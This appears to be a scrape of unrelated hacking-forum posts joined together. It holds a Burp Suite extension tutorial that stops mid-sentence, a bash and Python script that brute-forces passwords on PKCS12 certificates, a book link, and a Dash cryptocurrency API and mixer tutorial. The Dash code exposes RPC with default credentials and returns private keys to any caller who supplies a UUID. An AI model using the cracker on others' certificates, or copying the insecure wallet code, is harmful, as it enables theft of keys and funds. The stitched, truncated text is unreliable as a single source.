![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXesIJPUydBMRcX_I7svsWTi1N9CTjXc- YALwlflrcpVsrew49ioNwTxt9T9mlELrP7HA0K_4kLX_5qf0YY6m3ojfl80DDnh6S3DtKx6OV9BNgjVNPgFZy9em- ciBkjV3W4dad-3P1H-tA- dsc6108Lflm7J%3Fkey%3DpNTsKGgzweS655H7WpBHTA&hash=1685c05b0f65679e18651516ebe15267)
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXcGhK-
VjhKYfJ-
qJwy04r4vfyykpnoQxgRmHLKnK8l0qUrDAtmjDSfixK1Ne7Oy9YtSMy6pi7ptPSKMmljDltxfAw0KFRpX93vQOpbwrvxcpKR12MREWqU3OgW5zK7zXh8At1A0crFr3raNjnArfW1ZWh5a%3Fkey%3DpNTsKGgzweS655H7WpBHTA&hash=9e7941b0744becc5e127320fba8e3644)
Этот скрин сделан на Community-версии запущенной командой java -jar ...
Но здесь есть нюанс… «нежадный» Burp запускается через отдельный Java лаунчер. Возможно есть способ перенаправления, чтобы вывод Burp шел в консоль, но я как-то до этого не дошел. Хватало обычных print() и вывода ошибок в интерфейс.
Предлагаю попрактиковаться с выводом и написать простой логгер вызовов. Логгер поможет отследить логику работы Burp. Выглядеть он будет таким образом:
Python:Copy to clipboard
from burp import IBurpExtender
from burp import IScannerCheck
from burp import IHttpListener
class BurpExtender(IBurpExtender, IScannerCheck, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._callbacks.registerScannerCheck(self)
self._callbacks.registerHttpListener(self)
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Get Data")
return
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
if messageIsRequest:
print('\n=========== HTTP Listener ===========')
print('TOOL FLAF: ' + str(toolFlag))
self._printRequestData(messageInfo)
def doActiveScan(self, baseRequestResponse, insertionPoint):
print('\n============ Active Scan ============')
self._printRequestData(baseRequestResponse)
insp_base_value = insertionPoint.getBaseValue()
insp_point_name = insertionPoint.getInsertionPointName()
insp_type = self._helpers.bytesToString(insertionPoint.getInsertionPointType())
print("INSERTION POINT")
print("Base Value: " + insp_base_value)
print("Point Name: " + insp_point_name)
print("Point Type: " + insp_type)
return None
def doPassiveScan(self, baseRequestResponse):
print('\n============ Passive Scan ============')
self._printRequestData(baseRequestResponse)
return None
def consolidateDuplicateIssues(self, existingIssue, newIssue):
return 0
def _printRequestData(self, requestResponse):
rq_url = self._helpers.analyzeRequest(requestResponse).getUrl()
rq_params = self._helpers.analyzeRequest(requestResponse).getParameters()
rq_method = self._helpers.analyzeRequest(requestResponse).getMethod()
rq_headers = self._helpers.analyzeRequest(requestResponse).getHeaders()
rq_content_type = self._helpers.analyzeRequest(requestResponse).getContentType()
rq_body_offset = self._helpers.analyzeRequest(requestResponse).getBodyOffset()
print("URL: " + rq_url.toString())
if len(rq_params):
print('Params:')
for param in rq_params:
print(param.getName() + ' = ' + param.getValue())
print("Method: " + rq_method)
if len(rq_headers):
print('Headers:')
for header in rq_headers:
print(header)
print("Content-Type: " + str(rq_content_type))
print("Body offset: " + str(rq_body_offset))
Сканер, который ничего не делает, просто демонстрирует, какие запросы делает BurpSuite при активном и пассивном сканировании.
Здесь появился новый интересный интерфейс IHttpListener. Благодаря ему, можно отслеживать любые HTTP-запросы и ответы сделанные любым инструментом Burp. Единственная функция, которую подразумевает реализация класса, это:
Java:Copy to clipboard
processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo)
При этом, toolFlag указывает на то, к какому инструменту Burp относится активность (подробнее ниже на картинке). messgaIsRequest указывает на направление (запрос или ответ). Ну и уже знакомый IHttpRequestResponse, который содержит всю информацию о запросе/ответе.
Чтобы все полноценно работало, при загрузке расширения, нужно зарегистрировать слушателя:
Python:Copy to clipboard
def registerExtenderCallbacks(self, callbacks):
…
callbacks.registerHttpListener(self)
…
Нет смысла выкладывать отдельно каждый из вариантов вывода. Наиболее интересный результат doActiveScan, а именно точка внедрения:
Code:Copy to clipboard
============ Active Scan ============
URL: https://www.liverpoolfc.com:443/_next/static/chunks/33.bfa7156c7c12eecb3df3.js
Method: GET
Headers:
GET /_next/static/chunks/33.bfa7156c7c12eecb3df3.js HTTP/2
Host: www.liverpoolfc.com
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: ru-RU
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://www.liverpoolfc.com/
Accept-Encoding: gzip, deflate, br
Content-Type: 0
Body offset: 514
INSERTION POINT
Base Value: https://www.liverpoolfc.com/
Point Name: Referer
Point Type: 32
В данном случае, мы видим имя параметра Referer и его значение. Но, например, если точка инъекции находится в url, то в имени мы увидели бы цифру. Эта цифра обозначала бы номер части пути, причем домен это 0. Пример, дял понимания:
Code:Copy to clipboard
URL: https://www.expedia.de:443/cl/1x1.gif
INSERTION POINT
Base Value: 1x1.gif
Point Name: 2
Point Type: 37
Эта информация будет полезна при работе с активными сканированиями.
Все написанное выше можно было бы реализовать, как отдельные приложения без использования Burp. Но тут важно понимать, что такие программные комплексы, как Burp, Acunetix, A-Parser и прочие, в первую очередь, предоставляют инфраструктуру. Удобные инструменты, которые базово решают множество сопутствующих задач и позволяют структурировано хранить нужную информацию. Тем самым разгружая разработчика и позволяя сконцентрироваться на решении практических проблем, обогащая базовый функционал при помощи API. Приведенная в статье информация, это лишь вводная часть, которая поможет быстро влиться в разработку расширений.
К сожалению, статья и так получилась очень большой (как бы ни пытался урезать), при этом за кадром осталось огромное количество интересных тем: активное сканирование; пользовательский интерфейс расширений и свои панели в интерфейсе BurpSuite; работа с контекстным меню; генераторы пэйлоадов для интрудера… короче очень много интересного есть в BS, о чем есть смысл писать. Если материал будет интересен участникам сообщества, обязательно
Hi, recently I ran into a problem not much discussed on the internet.
One of my partners shared a password-protected PKCS12 certificate (.p12) he
needed to bruteforce.
Searching the Internet I didn't find many tools capable of doing it, other
than one created by "aestu" called "crackpkcs12"
(https://crackpkcs12.sourceforge.net/) that I couldn't compile on my
instances.
For this reason I decided to write this little script; it's not the best, but
it does what it was meant for.
I hope someone will find this usefull.
A few notes:
Spoiler: Source .SH
Bash:Copy to clipboard
cat passwords-file.txt|
while read p; do
echo trying $p;
openssl pkcs12 -in "cert-to-crack.p12" -passin "pass:$p";
RC=$?; if [ $RC -eq 0 ]; then
break; fi ; done
Spoiler: Source .PY
Python:Copy to clipboard
import sys
import os
import OpenSSL
from OpenSSL import crypto
# Here I decided to suppress the OpenSSL deprecation warning
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
## Be sure that the user submits the required parameters
if(len(sys.argv) < 3):
print("\nExample: python3 pkcs-cracker.py filetocrack.p12 wordlist.txt\n")
sys.exit()
## Take the input, and check if both the files do exist or not
file_to_crack = sys.argv[1]
passwords = sys.argv[2]
try:
if(os.path.isfile(file_to_crack)==True and os.path.isfile(passwords)==True):
pass
else:
sys.exit()
except:
print("\n Files not available, please check the supplied arguments \n")
sys.exit()
## Push the wordlist supplied into a list
with open(passwords, 'r') as f:
passwords_list = [line.strip() for line in f]
## Try to crack the .p12 file using the passwords provided by the user
for pass_temp in passwords_list:
print("\n> Testing password: "+pass_temp)
try:
crack_p12 = crypto.load_pkcs12(open(file_to_crack, 'rb').read(), pass_temp.encode())
k = crypto.dump_privatekey(crypto.FILETYPE_PEM, crack_p12.get_privatekey())
if(b"PRIVATE KEY" in k):
print("Bingo! Valid password found --> "+pass_temp+" [!]\n")
print("Killing execution...")
sys.exit()
except OpenSSL.crypto.Error:
print('[!] Crypto error detected, trying next password [!]\n')
pass
Feel free to do anything you want with this code, you got a better solution? Share it here!
Книга научит вас всему, что вам нужно для создания безопасных веб-приложений на Python. Работая с подробными фрагментами кода и интересными примерами, вы будете использовать стандарты безопасности, передовые методы и многое другое. Попутно вы познакомитесь с важными библиотеками и инструментами в экосистеме Python.
](https://cloud.mail.ru/public/HHWz/bTQKGGpsD)
Вам открыли доступ к файлу. Отправлено с помощью Облако Mail
cloud.mail.ru
В данной статье будет рассмотрено, как реализовать собственное API для криптовалюты Dash, используя свою ноду для этого. Также будет реализована простая веб-часть для регистрации и авторизации в API-сервисе с хранением данных в базе данных и миксер криптовалюты.
У данной монеты есть несколько интересных решений. Она считается такой же анонимной, как и Monero (хотя ничего по-настоящему не анонимно).
Это связано со встроенным на уровне протокола миксером монет CoinJoin. Мастерноды Dash обеспечивают работу миксера. Суть этой миксации, как ни странно, заключается в смешивании монет с монетами других кошельков, тем самым усложняя их отслеживание (данная возможность будет реализована в этой статье). Подробнее об этом можно прочитать в документации:
Также у данной монеты есть уникальная функция — мастерноды. Мастерноды были придуманы именно в Dash. Благодаря им транзакции проходят мгновенно, так как при их создании входы проверяются сразу на множестве мастернод, чтобы убедиться, что они не были уже использованы. Если каждая мастернода проверила и подтвердила транзакцию, мастерноды голосуют, и транзакция сразу же считается проверенной.
В дополнение к этому за хостинг мастернод платят, поэтому множество людей их устанавливают, благодаря чему мастернод достаточно много.
Еще одной особенностью Dash является DAO (Decentralized Autonomous Organization). Владельцы мастернод могут голосовать за решения, связанные с развитием монеты. Таким образом, будущее Dash зависит от сообщества.
И, разумеется, главным плюсом данной монеты для меня является вес ноды — примерно 50 ГБ. Благодаря этому её легко установить на любой дешевый хостинг или даже у себя на ПК.
Как было сказано ранее, вес ноды составляет около 50 ГБ. Устанавливать я её буду в Docker. Сама настройка и установка для вас не будет сложной, а вот мне пришлось повозиться, чтобы корректно составить YAML-файл для Docker, Dockerfile и конфиг для DashCore.
Первое, что будет сделано, — это создана папка для ноды, и в ней будут созданы файлы: docker-compose.yml, Dockerfile (без расширения), dash.conf.
Code:Copy to clipboard
version: "3.8"
services:
dash_node:
build: .
container_name: dash_node
ports:
- "9998:9998"
- "9999:9999"
volumes:
- dash_data:/root/.dashcore
restart: unless-stopped
volumes:
dash_data:
Понять, что в этом файле, несложно. Лишь уточню, что первый порт нужен для
работы с RPC, а второй — для работы с P2P-соединением.
build: . указывает, что Dockerfile находится в той же директории, что и YAML-
файл.
P.S. RPC — это протокол для выполнения команд удалённо, грубо говоря, API для отправки команд в DashCore.
Code:Copy to clipboard
FROM ubuntu:22.04
# Устанавливаем зависимости
RUN apt-get update && apt-get install -y \
wget \
tar \
dirmngr \
screen
# Указываем актуальную версию Dash Core
ARG DASH_VERSION=21.1.1
RUN wget https://github.com/dashpay/dash/releases/download/v${DASH_VERSION}/dashcore-${DASH_VERSION}-x86_64-linux-gnu.tar.gz --no-check-certificate \
&& tar -zvxf dashcore-${DASH_VERSION}-x86_64-linux-gnu.tar.gz \
&& mv dashcore-${DASH_VERSION}/bin/* /usr/bin/ \
&& rm -rf dashcore-${DASH_VERSION} dashcore-${DASH_VERSION}-x86_64-linux-gnu.tar.gz
# Создаем директорию конфигурации и добавляем конфиг
RUN mkdir -p /root/.dashcore
COPY dash.conf /root/.dashcore/dash.conf
# Указываем команду для запуска Dash
CMD ["dashd"]
Как видно, в нём указано, что будет использована Ubuntu, необходимые зависимости, сам DashCore прямо с GitHub, а также прописано, откуда брать конфиг для DashCore и куда его копировать внутри контейнера.
Code:Copy to clipboard
printtoconsole=1
txindex=1
addressindex=1
rpcallowip=0.0.0.0/0
rpcbind=0.0.0.0
rpcuser=rpcuser
rpcpassword=rpcpassword
Вот именно с этими настройками у меня и возникли небольшие проблемы.
Изначально я ставил адрес 127.0.0.1 и долгое время не понимал, почему у меня не удается отправить запросы, хотя если обращаться через Docker, все работало. Дело в том, что 127.0.0.1 означает, что можно соединяться только с текущего хоста. Если DashCore запускается внутри Docker, то это по умолчанию считается уже другим хостом.
P.S. Чтобы избежать этого, можно передавать --network="host" в Docker; тогда можно использовать 127.0.0.1. А 0.0.0.0 разрешает соединения "снаружи".
С файлами Docker закончено, чтобы запустить ноду, потребуется внутри папки открыть cmd и ввести команду docker-compose up -d, после этого начнется подкачка DashCore и самой ноды.
P.S. Чтобы отключить контейнер, нужно ввести команду docker-compose down.
После установки всего необходимого начнется синхронизация заголовков блоков, а
затем и сама подкачка блоков.
Чтобы узнать, на сколько процентов загрузились все блоки в вашу ноду, нужно
ввести команду docker exec -it dash_node dash-cli getblockchaininfo и найти в
результате строку verificationprogress. 1.0 будет означать, что все блоки были
скачаны, и нода полностью синхронизирована. (В моем случае 1.0 не было, скорее
всего, из-за недостаточной скорости интернета, так как новые блоки появлялись
быстрее, но это не критично, так как задержка всего в 30 секунд.
После загрузки ноды также будет создан Docker-контейнер с Postgres. Перед установкой нужно создать папку и внутри неё создать docker-compose.yaml, указав в нём этот код:
Code:Copy to clipboard
version: '3.8'
services:
db:
container_name: db
image: postgres:latest
restart: always
environment:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: postgres
POSTGRES_DB: postgres
ports:
- '5432:5432'
volumes:
- db-data:/var/lib/postgresql/data # Определение тома для PostgreSQL данных
adminer:
image: adminer
ports:
- "8080:8080"
environment:
ADMINER_DESIGN: "hydra"
volumes:
db-data:
В данном коде указано скачивание самого Postgres из DockerHub — https://hub.docker.com/_/postgres.
Для взаимодействия с Postgres будет использоваться панель управления Adminer.
Adminer также будет скачан из DockerHub. Также для него будет установлен
нестандартный дизайн панели — кастомный под названием Hydra, так как
стандартный интерфейс лично мне резал глаза.
Adminer был выбран только из-за того, что эту панель можно использовать не только для Postgres, но и для множества других баз данных.
Раньше я пользовался SQLite, но у неё есть как плюс, так и минус: с ней можно было работать только через одно подключение, соответственно, нельзя было подключить одну базу данных к нескольким проектам одновременно. А Postgres можно использовать в множестве проектов, и он работает намного быстрее с большим объёмом данных.
С подготовкой необходимых инструментов закончено, теперь нужно подготовить сам
Python-проект. Для начала будет создана основная папка проекта, а в ней —
папки routers и templates.
В основной папке создадим Python-файл main.py и папку models. Внутри папки
routers будут созданы два файла: panel.py и dash_api.py. Внутри папки
templates будут созданы HTML-файлы: login.html, profile.html, register.html.
Что будет находится в этих файлах?
С подготовкой проекта также закончено, и можно приступать к написанию логики, которая будет реализована на FastAPI.
FastAPI был выбран из-за того, что он намного быстрее работает в отличие от того же Flask, так как FastAPI работает в асинхронном режиме и имеет на борту встроенную и полностью настраиваемую документацию для вашего API. То есть будет страница, на которой будут отображены все ваши маршруты и то, как отправлять на них запросы. Также на этой странице можно будет сразу же отправить запрос с кастомными данными, что очень полезно при тестировании. К тому же работа с FastAPI очень схожа с Flask, поэтому переход с Flask на FastAPI пройдет легко.
Теперь первым делом в файле main.py будет прописана логика для инициализации и запуска FastAPI.
Python:Copy to clipboard
import uvicorn
from starlette.middleware.sessions import SessionMiddleware
from routers import dash_api, panel
from fastapi import FastAPI
app = FastAPI(
title="Hooli Crypto API",
)
app.add_middleware(SessionMiddleware, secret_key="your-secret-key")
# Запуск приложения
if __name__ == "__main__":
uvicorn.run("main:app", host="127.0.0.1", port=8000)
Внутри app указан заголовок для страницы со встроенной документацией. Таким же методом, при желании, можно добавить и собственные стили на страницу.
Теперь в этом же файле нужно инклюдировать маршруты, то есть связать маршрутизатор из этого файла с маршрутизаторами из других файлов, к которым в свою очередь подключены маршруты.
Python:Copy to clipboard
app.include_router(dash_api.router)
app.include_router(panel.router, include_in_schema=False)
В данном коде инклюдированы файлы dash_api и panel, в которых и будут
находиться маршрутизаторы, к которым подключены маршруты (будет объяснено
позже).
include_in_schema=False означает, что все маршруты указанного маршрутизатора
не будут отображаться в автоматическом API от FastAPI.
Инклюдирование маршрутов — это привязка маршрутов с логикой к основному приложению. Своего рода импорты библиотек в проект. Это нужно для того, чтобы не захламлять основной файл проекта и разделить все маршруты в разные файлы. Если же перенести маршруты в другой файл, то программа их просто не увидит.
Теперь нужно добавить вызов метода add_middleware. Этот метод позволяет приложению работать с сессиями пользователей, например, с какими-либо данными о пользователе, такими как авторизован ли пользователь на сайте или нет. В дальнейшем это будет использовано для того, чтобы на страницу панели мог зайти только авторизовавшийся пользователь.
Python:Copy to clipboard
app.add_middleware(SessionMiddleware, secret_key="your-secret-key")
Теперь рассмотрим логику подключения к базе данных и создание таблицы в файле models.
Python:Copy to clipboard
import uuid
from sqlalchemy import create_engine, Column, Integer, String, ForeignKey
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker, relationship
import bcrypt
DATABASE_URL = "postgresql://postgres:postgres@localhost/postgres"
engine = create_engine(DATABASE_URL)
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
Base = declarative_base()
Далее нужно написать функцию для получения сессии для базы данных. Эта функция будет в дальнейшем вызываться в маршрутах, чтобы функции взаимодействовали с базой данных.
P.S. Взаимодействие с базой данных и ее таблицами, используя именно сессию, а не прямое подключение к базе данных, считается стандартным и правильным подходом при использовании SQLAlchemy.
Python:Copy to clipboard
def get_db():
db = SessionLocal()
try:
yield db
finally:
db.close()
Теперь рассмотрим модель таблицы, в которую будут записываться пользователи.
Python:Copy to clipboard
class User(Base):
# Название таблицы
__tablename__ = 'users'
# Столбцы
id = Column(Integer, primary_key=True, index=True)
username = Column(String, unique=True, index=True)
password_hash = Column(String)
unique_id = Column(String, unique=True, index=True, default=str(uuid.uuid4())) # Поле для уникального ID
# Связь с таблицей кошельков
wallets = relationship("DWallet", back_populates="user", cascade="all, delete-orphan")
# Функции для расшифровки пароля из хэша и шифровки пароля в хэш
def set_password(self, password: str):
self.password_hash = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt()).decode('utf-8')
def check_password(self, password: str):
return bcrypt.checkpw(password.encode('utf-8'), self.password_hash.encode('utf-8'))
Теперь рассмотрим вторую таблицу, которая будет нужна для будущей возможности генерировать кошельки (именно кошельки, а не просто адреса). То есть все сгенерированные кошельки будут привязываться к пользователю с конкретным id.
Python:Copy to clipboard
class DWallet(Base):
__tablename__ = 'dwallets'
id = Column(Integer, primary_key=True, index=True)
wallet_name = Column(String, unique=True, index=True) # Название кошелька
user_unique_id = Column(String, ForeignKey('users.unique_id'), nullable=False) # Внешний ключ на таблицу пользователей
# Связь с таблицей пользователей
user = relationship("User", back_populates="wallets")
Далее нужно просто вызвать метод create_all для создания всех таблиц в конкретной базе данных (параметр bind=engine определяет, в какой базе данных создавать таблицы).
Python:Copy to clipboard
Base.metadata.create_all(bind=engine)
Теперь рассмотрим файл с маршрутами и логикой для веб-части с авторизацией,
регистрацией и т.д. И первое, что нужно сделать — это связать основной файл
проекта (main.py) с маршрутами из текущего файла (panel.py), то есть сейчас
как раз и будет прописана логика инклюдирования.
P.S. Как помним, в основном файле была прописана данная строка:
Python:Copy to clipboard
app.include_router(panel.router, include_in_schema=False)
Теперь в текущем файле, вызываемом в показанной выше строке, также нужно прописать маршрутизатор.
Python:Copy to clipboard
from fastapi import HTTPException, Depends, Form, Request, APIRouter
from fastapi.responses import RedirectResponse
from sqlalchemy.orm import Session
from fastapi.templating import Jinja2Templates
from models import User, get_db
import uuid
router = APIRouter() # Маршрутизатор
Далее нужно создать объект для работы с Jinja2 через FastAPI. Это потребуется для того, чтобы передавать данные с бекенда на фронтенд.
Python:Copy to clipboard
templates = Jinja2Templates(directory="templates")
Теперь можно прописать первый маршрут, который будет указывать на веб-страницу регистрации, и логика, соответственно, будет прописана для регистрации.
Python:Copy to clipboard
@router.api_route("/register", methods=["GET", "POST"])
async def register(request: Request, username: str = Form(None), password: str = Form(None), db: Session = Depends(get_db)):
if request.method == "POST":
# Проверяет логин из формы с логином из таблицы в модели (классе) User
# Если логин сходится, то получает ошибку
db_user = db.query(User).filter(User.username == username).first()
if db_user:
raise HTTPException(status_code=400, detail="Username already registered")
# Генерируется uuid
unique_id = str(uuid.uuid4())
# Добавление логина из формы и сгенерированный uuid в сессию базы данных
new_user = User(username=username, unique_id=unique_id)
# Добавление зашифрованного пароля в сессию базы данных
new_user.set_password(password)
# Добавление в базу данных
db.add(new_user)
# Сохранение в базе данных
db.commit()
# Обновление базы данных
db.refresh(new_user)
# Сохраняем user_id из таблицы в ключ ['user_id'] в http сессии
request.session['user_id'] = new_user.id
return RedirectResponse(url=f"/profile/{new_user.id}", status_code=303)
return templates.TemplateResponse("register.html", {"request": request})
Теперь рассмотрим логику авторизации. В начале всё то же самое: тот же декоратор, те же принимаемые данные в виде логина и пароля из формы веб- страницы, а также та же проверка на метод запроса. Но дальнейшая логика с точностью до наоборот.
Python:Copy to clipboard
@router.api_route("/login", methods=["GET", "POST"])
async def login(request: Request, username: str = Form(None), password: str = Form(None), db: Session = Depends(get_db)):
if request.method == "POST":
db_user = db.query(User).filter(User.username == username).first()
if not db_user or not db_user.check_password(password):
raise HTTPException(status_code=401, detail="Invalid credentials")
request.session['user_id'] = db_user.id
return RedirectResponse(url=f"/profile/{db_user.id}", status_code=303)
return templates.TemplateResponse("login.html", {"request": request})
Python:Copy to clipboard
@router.get("/profile/{user_id}")
async def profile_page(request: Request, user_id: int, db: Session = Depends(get_db)):
# Проверка http сессии (cookie): только если id из сессии соответствует user_id из ссылки на маршрут
#('user_id') это ключ в http сессии который хранит ид пользователя
if request.session.get('user_id') != user_id:
return RedirectResponse(url="/login", status_code=303)
# Проверяет id из ссылки с id из таблицы в модели (классе) User
# Если id сходится, то получает все данные пользователя из базы данных
db_user = db.query(User).filter(User.id == user_id).first()
if not db_user:
raise HTTPException(status_code=404, detail="User not found")
# Возвращает html страницу и передает в нее все данные пользователя
return templates.TemplateResponse("profile.html", {"request": request, "user": db_user})
Данный код ещё проще, чем предыдущий. Обратите внимание на маршрут с указанным в нём user_id. При переходе на страницу будет браться данный user_id, полученный ранее в функции регистрации или авторизации.
Первым делом в функции происходит сравнение ID пользователя из ссылки с ID пользователя из HTTP-сессии. Если они одинаковые, то происходит получение данных пользователя из базы данных, если ID пользователя из ссылки такой же, как в базе данных. Если данные из базы данных получить не удалось, будет выдана ошибка. При успешном получении будет возвращена страница профиля, в которую будут переданы данные пользователя из базы данных.
В данном маршруте просто прописана логика очищения сессии HTTP.
Python:Copy to clipboard
@router.get("/logout")
async def logout(request: Request):
# Удаляем http сессию
request.session.clear()
return RedirectResponse(url="/login", status_code=303)
Теперь будет показана реализация самой веб-части с интерфейсом. Стилей в ней никаких нет, лишь только необходимые кнопки и поля. Да и HTML-файлы рассматривать особо смысла не вижу — там слишком простой код, который поймёт даже человек, впервые написавший лендинг.
Просто форма, отправляемая на маршрут /register методом POST:
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Регистрация</title>
</head>
<body>
<h1>Регистрация</h1>
<form action="/register" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required><br><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required><br><br>
<button type="submit">Зарегистрироваться</button>
</form>
<br>
<a href="/login">Уже есть аккаунт? Войти</a>
</body>
</html>
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Вход</title>
</head>
<body>
<h1>Вход</h1>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<button type="submit">Войти</button>
</form>
<br>
<a href="/register">Нет аккаунта? Зарегистрироваться</a>
</body>
</html>
В данном коде есть небольшие отличия: здесь уже отображаются значения из базы данных конкретного пользователя, которые были переданы в функцию profile_page.
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Профиль пользователя</title>
</head>
<body>
<h1>Профиль пользователя</h1>
<p>Username: {{ user.username }}</p>
<p>UID: {{ user.unique_id }}</p>
<!-- Ссылка на документацию -->
<p>
Документация по использованию API:
<a href="/docs" target="_blank">Открыть документацию</a>
</p>
<!-- Кнопка выхода -->
<form action="/logout" method="get">
<button type="submit">Выход</button>
</form>
</body>
</html>
Теперь рассмотрим работу с маршрутами для API, в которых и заключается вся суть проекта. API будет находиться в файле dash_api.py, и первое, что нужно будет сделать, — это подключить маршруты из этого файла в основное приложение FastAPI, аналогично тому, как это было сделано с маршрутами для веб- интерфейса.
Python:Copy to clipboard
import secrets
from fastapi import HTTPException, Query, Depends, APIRouter
from sqlalchemy.orm import Session
from models import User, get_db
import time
import requests
router = APIRouter()
Теперь можно приступать к разработке самого API. Первое, что потребуется сделать, — это написать функцию для подключения к ноде по RPC и отправки команд. В дальнейшем эту функцию будут использовать все функции из данного файла (dash_api.py).
Python:Copy to clipboard
# Настройки для RPC
URL = "http://localhost:9998/"
LOGIN = "rpcuser"
PASSWORD = "rpcpassword"
def rpc_call(method: str, params: list = None, wallet_name: str = None):
if params is None:
params = []
rpc_url = f"{URL}wallet/{wallet_name}" if wallet_name else URL
# Тело запроса
data = {
"id": str(time.time()),
"jsonrpc": "1.0",
"method": method,
"params": params
}
try:
# Отправка запроса в ноду по RPC
response = requests.post(rpc_url, json=data, auth=(LOGIN, PASSWORD))
# Возвращает ответ функции которая вызвала rpc_call
return response.json()
except requests.RequestException as e:
return {"error": str(e)}
Сама функция, как видим, достаточно обычная — это просто отправка запросов. Однако считаю нужным упомянуть эту строку:
Python:Copy to clipboard
rpc_url = f"{URL}wallet/{wallet_name}" if wallet_name else URL
Также при отправке запросов нужно будет указывать UUID зарегистрированного пользователя (именно для этого и была написана логика регистрации с личного кабинета). Поэтому нужно написать ещё одну функцию, которая будет вызываться при любом из будущих запросов API, брать UUID, подключаться к базе данных и затем сверять их.
Python:Copy to clipboard
def verify_user_uuid(user_uuid: str, db: Session = Depends(get_db)):
db_user = db.query(User).filter(User.unique_id == user_uuid).first()
if not db_user:
# Если uuid не найден, то выводить ошибку
raise HTTPException(status_code=403, detail="Invalid or unauthorized UUID.")
return db_user
Теперь можно приступать к написанию самого первого API-запроса. Этот запрос будет создавать кошельки и выводить их данные на странице документации, или хотя бы возвращать ответ с данными, если отправляете запросы самостоятельно. В данной функции как раз будет использована таблица для хранения кошельков, которую мы создавали вместе с таблицей пользователей.
Теперь рассмотрим функцию поближе.
Python:Copy to clipboard
@router.get("/api/v1/create_wallet", tags=["DASH"]) # Параметр tags=["DASH"] позволяет выносить этот блок в отдельный раздел в документации
async def create_wallet(user_uuid: str = Query(..., description="UUID"), db: Session = Depends(get_db)):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
# Проверка количества кошельков для данного пользователя
wallet_count = db.query(DWallet).filter(DWallet.user_unique_id == user_uuid).count()
if wallet_count >= 5:
return {"error": "Превышен лимит кошельков. У пользователя не может быть более 5 кошельков."}
# Генерация случайного имени кошелька
wallet_name = "dwallet_" + secrets.token_hex(8) # Генерация случайного имени кошелька
# Создание нового кошелька через отправку команды RCP в ноду
method = "createwallet"
params = [wallet_name] # Имя кошелька
rpc_call(method, params) # Вызов метода для отправки команды RCP в ноду
# Добавление кошелька в базу данных
new_wallet = DWallet(wallet_name=wallet_name, user_unique_id=user_uuid)
db.add(new_wallet)
db.commit()
db.refresh(new_wallet)
# Получение адреса кошелька
method = "getnewaddress"
params = [wallet_name] # Имя кошелька
# Указываем имя кошелька и параметр wallet_name=wallet_name что бы rcp_call, сделал кастомный запрос именно для этой команды
new_address = rpc_call(method, params, wallet_name=wallet_name)
# Парсит ответа от rcp_call и вытаскивает из него значение ключа ["result"]
address = new_address["result"]
# Получение приватного ключа
method = "dumpprivkey"
params = [address] # Сгенерированный выше кошелек
# Указываем имя кошелька и параметр wallet_name=wallet_name что бы rcp_call, сделал кастомный запрос именно для этой команды
privkey_result = rpc_call(method, params, wallet_name=wallet_name)
# Парсит ответа от rcp_call и вытаскивает из него значение ключа ["result"]
privkey = privkey_result["result"]
# Получение публичного ключа
method = "getaddressinfo"
params = [address] # Сгенерированный выше кошелек
# Указываем имя кошелька и параметр wallet_name=wallet_name что бы rcp_call, сделал кастомный запрос именно для этой команды
pubkey_result = rpc_call(method, params, wallet_name=wallet_name)
# Парсит ответа от rcp_call и вытаскивает из него ключа ["result"] и из него вытаскивает значение ключа ("pubkey")
pubkey = pubkey_result["result"].get("pubkey")
# Возвращаем все данные
return {
"address": address,
"private_key": privkey,
"public_key": pubkey
}
По комментариям в коде должно стать более ясно, как устроена данная функция, да и все последующие тоже. Хочу упомянуть лишь об этой строке:
Python:Copy to clipboard
privkey_result = rpc_call(method, params, wallet_name=wallet_name)
В начале написания логики в файле с API был сделан акцент на этой строке:
Python:Copy to clipboard
rpc_url = f"{URL}wallet/{wallet_name}" if wallet_name else URL
Связано это с тем, что создание кошелька можно сделать только локально, прямо
в DashCore. Поэтому все команды для получения данных от этого кошелька должны
иметь параметр, указывающий название и путь до кошелька в системе.
Также прошу запомнить эту строку:
Python:Copy to clipboard
tags=["DASH"]
Когда настанет время показывать интерфейс, я обязательно напомню об этом параметре.
Проверку я решил добавить лишь для того, чтобы пользователи не спамили созданием кошельков, и в DashCore не валялось куча пустых кошельков.
Из-за того, что кошельки можно создать только локально, вытекает несколько проблем.
В данной версии софта не будет ничего придумано по удалению кошельков, так как в данный момент в голову приходят только костыли.
В данный момент создание кошельков останется в таком виде, а поэтому можно приступать к следующей функции. Данная функция будет проверять баланс. В ней ничего необычного, она ничем не отличается от предыдущей, за исключением передаваемого в функцию RPC-метода (getaddressbalance).
Python:Copy to clipboard
